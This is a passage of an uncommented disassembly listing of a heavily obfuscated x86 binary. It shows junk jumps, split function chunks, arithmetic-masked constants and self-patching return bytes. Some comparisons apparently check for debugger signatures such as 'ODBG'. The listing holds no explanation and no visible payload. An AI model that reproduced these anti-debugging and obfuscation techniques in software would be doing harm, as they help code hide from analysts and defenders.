		dec	dword ptr [ebp-24h]
		jnz	loc_43C839
		jmp	loc_44E3AE
sub_4553DE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_4553F3:				; CODE XREF: sub_4492F0-1BEDj
		rol	eax, 8
		push	offset loc_43DE6D
		jmp	loc_4591C7
; END OF FUNCTION CHUNK	FOR sub_4492F0

; =============== S U B	R O U T	I N E =======================================



sub_455400	proc near		; DATA XREF: sub_441DDA:loc_457E67o

; FUNCTION CHUNK AT 0043A792 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BF1D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043D09E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044033C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004414FC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004416FC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044187C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004424B7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C84F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C962 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004500BC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00450D23 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00451ABA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00451B9A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004521F4 SIZE 00000005 BYTES

		jns	loc_4521F4
		cmp	dword ptr [ebp-10Ch], 76676264h
		jnz	loc_43C3E6
		jmp	loc_450D23
sub_455400	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		ror	esi, 8
		shl	edi, 1
		jmp	sub_43C3D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_455425:				; CODE XREF: sub_450217:loc_439559j
		mov	[eax], ebp
		js	loc_450A6E
		jmp	loc_4503D1
; END OF FUNCTION CHUNK	FOR sub_450217
; ---------------------------------------------------------------------------
		push	esi
		jmp	loc_44B552
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459983

loc_455439:				; CODE XREF: sub_459983-7CD9j
		jmp	loc_440D3B
; END OF FUNCTION CHUNK	FOR sub_459983
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444BE4

loc_45543E:				; CODE XREF: sub_444BE4+677Cj
		jmp	loc_4586C5
; END OF FUNCTION CHUNK	FOR sub_444BE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444906

loc_455443:				; CODE XREF: sub_444906+Fj
		jmp	nullsub_507
; END OF FUNCTION CHUNK	FOR sub_444906
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_455448:				; CODE XREF: sub_454094-17F5Ej
		jmp	loc_45194D
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------

locret_45544D:				; CODE XREF: dviuq5id:loc_444ABAj
					; dviuq5id:0044DC90j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_45544E:				; CODE XREF: sub_44B99E-9F12j
		jmp	loc_445715
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------

loc_455453:				; CODE XREF: dviuq5id:loc_44AD32j
		call	sub_44B9DA
; START	OF FUNCTION CHUNK FOR sub_43E9E7

loc_455458:				; CODE XREF: sub_43E9E7+Aj
		jmp	loc_43C51A
; END OF FUNCTION CHUNK	FOR sub_43E9E7
; ---------------------------------------------------------------------------

loc_45545D:				; CODE XREF: dviuq5id:00448E36j
		jz	loc_4429EF
		cmp	ebp, 0C91A6E0Eh
		jmp	loc_4435B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CF31

loc_45546E:				; CODE XREF: sub_43CF31+1587Ej
		mov	[ebx], edi
; END OF FUNCTION CHUNK	FOR sub_43CF31

; =============== S U B	R O U T	I N E =======================================



sub_455470	proc near		; CODE XREF: sub_43CF31:loc_451526j
		push	ebx
		push	9E7978D7h
		pop	ebx
		sub	ebx, 48A01090h
		or	ebx, 5AF260EBh
		jmp	loc_43CBB8
sub_455470	endp

; ---------------------------------------------------------------------------

locret_455488:				; CODE XREF: dviuq5id:loc_4445FAj
		retn
; ---------------------------------------------------------------------------

loc_455489:				; CODE XREF: dviuq5id:loc_44DA24j
		and	edx, 1516169Fh
		jbe	loc_44E582
		shl	edx, 19h
		jmp	loc_44F483
; ---------------------------------------------------------------------------

loc_45549D:				; DATA XREF: sub_43E4A4+16367o
		push	121A6DD2h
		pop	esi
		add	esi, 5E4D223h
		sub	esi, 16CE9E70h
		jmp	loc_458ED2
; ---------------------------------------------------------------------------

loc_4554B4:				; DATA XREF: sub_441DAE+2F5Eo
		add	eax, ebp
		push	ebx
		push	4A57D03Fh
		not	ebx
		jmp	loc_454E9A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_183. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4554C4:				; CODE XREF: dviuq5id:0045578Aj
		jmp	loc_444208
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_4554C9:				; CODE XREF: sub_43BD72:loc_442F66j
		pop	edi
		rol	edi, 0Bh
		jb	loc_439331
		jno	loc_457626
		jmp	loc_43932B
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456053

loc_4554DE:				; CODE XREF: sub_456053:loc_449673j
		add	eax, 83C2893Dh
		call	sub_453642
		push	offset sub_453534
		jmp	loc_44D4CA
; END OF FUNCTION CHUNK	FOR sub_456053

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4554F3	proc near		; CODE XREF: sub_4505B4:loc_44265Dj
		retn
sub_4554F3	endp

; ---------------------------------------------------------------------------
		mov	ds:off_41D1AC, eax
		lea	eax, sub_43F83A
		mov	byte ptr [eax],	0C3h
		jmp	sub_43F83A

; =============== S U B	R O U T	I N E =======================================



sub_455508	proc near		; CODE XREF: sub_413D26j sub_455508+5j
					; DATA XREF: ...
		call	sub_455518
		jmp	ds:off_41D1B0
sub_455508	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452A73

loc_455513:				; CODE XREF: sub_452A73+4442j
		jmp	nullsub_346
; END OF FUNCTION CHUNK	FOR sub_452A73

; =============== S U B	R O U T	I N E =======================================



sub_455518	proc near		; CODE XREF: sub_44DB86:loc_441E62j
					; sub_447E87+9j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B2D3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043DD88 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00443DB6 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00447E95 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044AC04 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044B25F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BB9A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00451909 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452FC4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045564E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004576C5 SIZE 0000000C BYTES

		jnb	loc_447E95
		jmp	loc_45564E
sub_455518	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4559CE

loc_455523:				; CODE XREF: sub_4559CE:loc_456A98j
		push	0
		push	1
		lea	eax, [ebp-806h]
		push	eax
		call	sub_44A4E3
		push	2CB42A1Dh
		jmp	loc_4526DC
; END OF FUNCTION CHUNK	FOR sub_4559CE

; =============== S U B	R O U T	I N E =======================================



sub_45553D	proc near		; CODE XREF: dviuq5id:0043A9A5j
					; sub_44BD0B:loc_44829Ap

; FUNCTION CHUNK AT 0043CB19 SIZE 0000000F BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		call	sub_4411C6
		jmp	loc_43CB19
sub_45553D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450F3F

loc_455557:				; CODE XREF: sub_450F3F:loc_442744j
		sub	ecx, 534E8410h
		and	ecx, 0FC4AAC63h
		test	ecx, 10000h
		jmp	loc_458C8F
; END OF FUNCTION CHUNK	FOR sub_450F3F
; ---------------------------------------------------------------------------
		push	0DF258503h
		pop	eax
		sub	eax, 411FCA75h
		add	eax, 0F85116F8h
		xor	eax, 0A3A54057h
		jmp	loc_44835B
; ---------------------------------------------------------------------------

loc_45558B:				; DATA XREF: sub_448B23+Co
		push	923BC5FCh
		pop	eax
		sub	eax, 0C4FFC334h
		xor	eax, 0A5A19C26h
		rol	eax, 19h
		call	sub_4408FF
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_4555A5:				; CODE XREF: sub_439C09+1C138j
		jmp	loc_4524AB
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B70C

loc_4555AA:				; CODE XREF: sub_44B70C-C5F6j
		jmp	loc_43A11B
; END OF FUNCTION CHUNK	FOR sub_44B70C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_4555AF:				; CODE XREF: sub_44BD0B:loc_457FE8j
		jl	loc_445377
		sub	edx, edi
		shr	ebp, 11h
		sub	ebx, edx
		jmp	loc_445377
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_4555C1:				; CODE XREF: sub_440898:loc_456ACAj
		jnz	loc_449554
; END OF FUNCTION CHUNK	FOR sub_440898
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4555C7:				; CODE XREF: sub_43FA59+463Cj
		jmp	loc_459D04
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		xor	ecx, edx
		jmp	loc_43A7DB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_4555D4:				; CODE XREF: sub_459385-C621j
		sbb	ebp, edi

loc_4555D6:				; CODE XREF: sub_459385:loc_4582E1j
		call	nullsub_20
		retn
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_4555DC:				; CODE XREF: sub_440898+13EB3j
		jmp	loc_44CD56
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_4555E1:				; CODE XREF: sub_448FC7+Ej
		jmp	loc_447E31
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------

loc_4555E6:				; CODE XREF: dviuq5id:00446D18j
		jmp	sub_44B876
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C46D

loc_4555EB:				; CODE XREF: sub_43C46D+11j
		jmp	loc_43FF27
; END OF FUNCTION CHUNK	FOR sub_43C46D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4555F1:				; CODE XREF: dviuq5id:00457B25j
		jmp	loc_439CF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B558

loc_4555F6:				; CODE XREF: sub_44B558+14j
		jmp	loc_458646
; END OF FUNCTION CHUNK	FOR sub_44B558
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A3E1

loc_4555FB:				; CODE XREF: sub_44A3E1+7j
		jmp	loc_44F5A6
; END OF FUNCTION CHUNK	FOR sub_44A3E1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_455600	proc near		; CODE XREF: sub_43CB4C:loc_43E989p
					; sub_454094-13530j
		push	ebp
		mov	ebp, esp
		jnz	sub_442E18
		jmp	sub_43A386
sub_455600	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45945A

loc_45560E:				; CODE XREF: sub_45945A-110D8j
		pop	ecx
		pop	ebp
		jmp	sub_4463B7
; END OF FUNCTION CHUNK	FOR sub_45945A
; ---------------------------------------------------------------------------

loc_455615:				; CODE XREF: dviuq5id:loc_44280Dj
		rol	ebx, 1Fh
		call	sub_43D73F
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_45561D:				; CODE XREF: dviuq5id:loc_43E3EAj
					; sub_44BD0B-5BCCj ...
		add	ecx, 8C2B3D79h
		or	ecx, 2171F4B5h
		js	loc_43D11A

loc_45562F:				; CODE XREF: dviuq5id:0045A5CCj
		jmp	sub_4469F9
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_455634:				; CODE XREF: sub_449222+5A0Aj
		jmp	loc_44CCBB
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4406E9

loc_455639:				; CODE XREF: sub_4406E9+12j
		jmp	nullsub_216
; END OF FUNCTION CHUNK	FOR sub_4406E9
; ---------------------------------------------------------------------------
		mov	ecx, 86AD48A3h
		jmp	loc_43D114
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_280. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4594EB

loc_455649:				; CODE XREF: sub_4594EB+Cj
		jmp	loc_43C13B
; END OF FUNCTION CHUNK	FOR sub_4594EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455518

loc_45564E:				; CODE XREF: sub_455518+6j
		jmp	loc_44B25F
; END OF FUNCTION CHUNK	FOR sub_455518
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441645

loc_455653:				; CODE XREF: sub_441645+F872j
		jmp	loc_449DBF
; END OF FUNCTION CHUNK	FOR sub_441645

; =============== S U B	R O U T	I N E =======================================



sub_455658	proc near		; CODE XREF: sub_446B93:loc_44401Fj
					; sub_446314:loc_4487DDj ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C4CE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043CFA3 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004423F1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00447FBE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004481DB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E45D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044E90C SIZE 00000005 BYTES

		jnz	loc_44E45D
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, ecx
		jmp	loc_43CFA3
sub_455658	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	0FE936404h
		xchg	ecx, [esp]
		mov	eax, ecx
		pop	ecx
		rol	eax, 1Dh
		test	eax, 10h
		jmp	loc_43B7DF

; =============== S U B	R O U T	I N E =======================================



sub_455682	proc near		; CODE XREF: dviuq5id:0044D398j
					; sub_44CDB6+515Ep

; FUNCTION CHUNK AT 0043B5C0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044851B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00456881 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004591D1 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		or	eax, eax
		jnz	sub_43E67C
		jmp	loc_43B5C0
sub_455682	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_455693:				; CODE XREF: dviuq5id:00458D4Cj
		shl	ebx, 10h

; =============== S U B	R O U T	I N E =======================================



sub_455696	proc near		; CODE XREF: sub_446181-C315p

; FUNCTION CHUNK AT 0043AB66 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DD6B SIZE 0000000E BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	0D5C8CB4Fh
		pop	eax
		sub	eax, 98587B2Fh
		jmp	loc_44DD6B
sub_455696	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459490

loc_4556AB:				; CODE XREF: sub_459490-166D4j
		ror	ebx, 4
; END OF FUNCTION CHUNK	FOR sub_459490

; =============== S U B	R O U T	I N E =======================================



sub_4556AE	proc near		; CODE XREF: sub_43F4F8+5168p

; FUNCTION CHUNK AT 0043E9BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EE66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F188 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004565B7 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		imul	byte ptr [edx]
		jmp	loc_43F188
sub_4556AE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445498

loc_4556B9:				; CODE XREF: sub_445498+3F75j
		jl	loc_4469DA

loc_4556BF:				; CODE XREF: sub_4534AA-908Cj
		jmp	loc_440FEF
; END OF FUNCTION CHUNK	FOR sub_445498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44010B

loc_4556C4:				; CODE XREF: sub_44010B+Dj
		jmp	loc_440F7E
; END OF FUNCTION CHUNK	FOR sub_44010B
; ---------------------------------------------------------------------------
		cdq
		push	95C2BC57h
		jnb	loc_43D573
		jmp	loc_457394
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_4556DA:				; CODE XREF: sub_44E1C0-B8B2j
		cmp	edx, 0F348C916h
		jmp	loc_44EED6
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4556E6:				; CODE XREF: dviuq5id:00454E50j
		jmp	loc_450770
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44122E

loc_4556EB:				; CODE XREF: sub_44122E+132FBj
		jz	loc_455BC0
		jmp	loc_43BC0B
; END OF FUNCTION CHUNK	FOR sub_44122E
; ---------------------------------------------------------------------------
		dw 8B0Fh
		db 90h
		db 0C0h, 0FEh, 0FFh
		dd 333C8A0Fh, 0FE8B0000h, 0A10EE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_45570A:				; CODE XREF: sub_439C09+1DA89j
		sbb	esi, 84A30A32h
		mov	ebp, edx

loc_455712:				; CODE XREF: sub_439C09:loc_45768Aj
		and	edx, 2746C500h
		rol	edx, 0Bh
		test	edx, 800000h
		jmp	loc_441F0B
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------

loc_455726:				; DATA XREF: sub_451B18:loc_44A85Do
		call	sub_4522E9
		pop	ecx
		mov	[ebp-20h], eax
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_45572F:				; CODE XREF: sub_454267:loc_43D71Ej
					; sub_454267-16B36j ...
		jz	loc_455DD3
		test	byte ptr [ebp-7], 8
		jz	loc_453AEF
		push	ebp
		jmp	loc_44F033
; END OF FUNCTION CHUNK	FOR sub_451B18
; ---------------------------------------------------------------------------

loc_455745:				; CODE XREF: dviuq5id:loc_455F07j
		push	offset sub_43CA3C
		jmp	loc_44894D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD5

loc_45574F:				; CODE XREF: sub_43CBD5+156E5j
		jb	loc_4534AE
		rol	esi, 1Ch

loc_455758:				; CODE XREF: sub_43CBD5:loc_4588AAj
		mov	eax, [ebp-18h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_43D981
; END OF FUNCTION CHUNK	FOR sub_43CBD5
; ---------------------------------------------------------------------------

loc_455768:				; CODE XREF: dviuq5id:004464FAj
		jnz	loc_4561AC
		jmp	loc_449452
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_208. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B13A

loc_455774:				; CODE XREF: sub_43B13A+14j
		jmp	nullsub_473
; END OF FUNCTION CHUNK	FOR sub_43B13A
; ---------------------------------------------------------------------------

loc_455779:				; CODE XREF: dviuq5id:loc_445493j
		pop	ecx
		or	ecx, 4A971F46h
		rol	ecx, 13h
		add	ecx, 11230C3h
		popf
		jmp	loc_4554C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_45578F:				; CODE XREF: sub_43E9CF+5j
					; sub_43FA59:loc_455BD4j
		lea	eax, [ebp-25Ch]
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_452033
		jmp	loc_45923A
; END OF FUNCTION CHUNK	FOR sub_43FA59

; =============== S U B	R O U T	I N E =======================================



sub_4557A6	proc near		; CODE XREF: sub_43A3E0:loc_439D32p
					; dviuq5id:0045683Aj

; FUNCTION CHUNK AT 0043B5DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442A74 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C15C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00455BA5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045953B SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		or	eax, eax
		jnz	loc_45953B
		jmp	loc_43B5DC
sub_4557A6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_4557B7:				; CODE XREF: sub_439013+211FAj
		add	edx, 344184CCh
		js	loc_453443
		or	esi, ebx

loc_4557C5:				; CODE XREF: sub_439013:loc_447FB3j
		mov	ecx, [ebp-20h]
		and	ecx, 7
		call	sub_44E2D4
		jnp	loc_45A109
		jmp	sub_450F99
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451E0A

loc_4557DB:				; CODE XREF: sub_451E0A+82C0j
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		call	sub_44CFBC
; END OF FUNCTION CHUNK	FOR sub_451E0A
; START	OF FUNCTION CHUNK FOR sub_44F505

loc_4557E5:				; CODE XREF: sub_44F505+4C72j
		jmp	sub_4462EC
; END OF FUNCTION CHUNK	FOR sub_44F505
; ---------------------------------------------------------------------------
		xor	ecx, ebx
		jmp	loc_443C80
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4557F2	proc near		; CODE XREF: sub_43E6A7:loc_457DE4p
					; sub_43EEAC+1AFC0j
		push	ecx
		mov	ecx, ebp
		xchg	ecx, [esp+0]

loc_4557F8:				; CODE XREF: dviuq5id:loc_44FF11j
		mov	ebp, esp
		push	esi
		push	ecx
		jmp	loc_45765A
sub_4557F2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443222

loc_455801:				; CODE XREF: sub_443222:loc_44B43Aj
		or	eax, 0E05E4F07h
		xor	eax, 0F75E8E54h
		sub	eax, 2222635Bh
		add	eax, 12C6E144h
		mov	eax, [eax]
		mov	edx, [ebp-4]
		jmp	loc_44A3C8
; END OF FUNCTION CHUNK	FOR sub_443222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442FBA

loc_455823:				; CODE XREF: sub_442FBA+1Dj
		add	eax, ebx

loc_455825:				; CODE XREF: sub_454267:loc_4510C1j
		call	sub_44A5A8

loc_45582A:				; DATA XREF: dviuq5id:0043AF34o
		add	eax, 18h
		call	sub_43E0BB

loc_455832:				; CODE XREF: sub_459825-279Ej
		jmp	loc_43EC64
; END OF FUNCTION CHUNK	FOR sub_442FBA
; ---------------------------------------------------------------------------
		mov	ds:dword_41D000, eax
		lea	eax, nullsub_492
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B8F4

; =============== S U B	R O U T	I N E =======================================



sub_45584B	proc near		; CODE XREF: sub_41764F+1Dp
					; sub_417722+1Bp
					; DATA XREF: ...

; FUNCTION CHUNK AT 0044A8BF SIZE 00000005 BYTES

		push	offset loc_43F254
		jmp	loc_44A8BF
sub_45584B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456A43

loc_455855:				; CODE XREF: dviuq5id:00439BE8j
					; sub_456A43-AA93j
		add	ecx, 0A0595F3h
		mov	ecx, [ecx]
		mov	eax, 1
		shl	eax, cl
		jmp	loc_441F98
; END OF FUNCTION CHUNK	FOR sub_456A43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB42

loc_455869:				; CODE XREF: sub_44BB42:loc_43944Cj
		jnz	loc_454D11
		jmp	loc_445D84
; END OF FUNCTION CHUNK	FOR sub_44BB42
; ---------------------------------------------------------------------------

loc_455874:				; CODE XREF: dviuq5id:0044A858j
		test	edx, 800000h
		jmp	loc_4550E8
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_44D1BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4592A8

loc_455885:				; CODE XREF: sub_4592A8:loc_4413A3j
		xchg	ebp, [esp+0]
		mov	eax, ebp
		pop	ebp
; END OF FUNCTION CHUNK	FOR sub_4592A8
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_45588B:				; CODE XREF: sub_44CFBC:loc_44C17Cj
		add	eax, 0A6E5A798h
		xor	eax, 57CD3BBCh
		add	eax, 6E754C84h
		xchg	eax, [esp+8+var_8]
		jmp	loc_44FD07
; END OF FUNCTION CHUNK	FOR sub_44CFBC

; =============== S U B	R O U T	I N E =======================================



sub_4558A5	proc near		; CODE XREF: sub_440347:loc_439FD3p
					; dviuq5id:0043C224j

; FUNCTION CHUNK AT 00446875 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	esp, 0FFFFFFD0h
		push	0F820A839h
		pop	eax
		or	eax, 9990160Ch
		xor	eax, 0F9B0BE2Fh
		jmp	loc_446875
sub_4558A5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_4558C3:				; CODE XREF: sub_44514D:loc_439217j
		jz	loc_440B8A
		jmp	loc_443537
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_4558CE:				; CODE XREF: sub_442BFE:loc_449218j
		pop	esi
		and	esi, 209C71AAh
		add	esi, 0FFABF64Ch
		mov	[esi], edx
		jmp	loc_4480E1
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44952D

loc_4558E2:				; CODE XREF: sub_44952D:loc_445DDFj
		jz	loc_43FE9D
		jmp	loc_448B19
; END OF FUNCTION CHUNK	FOR sub_44952D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_263. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BE2

loc_4558EE:				; CODE XREF: sub_453BE2-1A55Ej
		jnz	loc_456C4C

loc_4558F4:				; CODE XREF: sub_453BE2:loc_439672j
		and	eax, 43E5EA07h
		call	sub_43F2B4

loc_4558FF:				; CODE XREF: dviuq5id:0044126Ej
		jmp	loc_44B942
; END OF FUNCTION CHUNK	FOR sub_453BE2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_173. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D2A8

loc_455905:				; CODE XREF: sub_44D2A8-D0FBj
		jmp	loc_456235
; END OF FUNCTION CHUNK	FOR sub_44D2A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_45590A:				; CODE XREF: sub_43938B+1A702j
		jnz	loc_440359

loc_455910:				; CODE XREF: dviuq5id:0044D0B8j
		jmp	loc_447F63
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
		cmp	ebp, 1369CFD0h
		jmp	loc_442D3A
; ---------------------------------------------------------------------------
		adc	esi, edx
		jmp	loc_454ED7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_455927:				; CODE XREF: sub_43FDFB:loc_446924j
		jz	loc_4542EC
		jmp	loc_452395
; END OF FUNCTION CHUNK	FOR sub_43FDFB

; =============== S U B	R O U T	I N E =======================================



sub_455932	proc near		; CODE XREF: dviuq5id:004403AFj
					; sub_448424-4775p

; FUNCTION CHUNK AT 0044FA71 SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	ecx, ebp
		add	ecx, 64DBB64h
		mov	[ecx], edx
		pop	ecx
		mov	ecx, [ebp-14h]
		push	ebx
		jmp	loc_44FA71
sub_455932	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_229. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_45594B:				; CODE XREF: dviuq5id:0044E078j
		jmp	loc_43D706
; ---------------------------------------------------------------------------
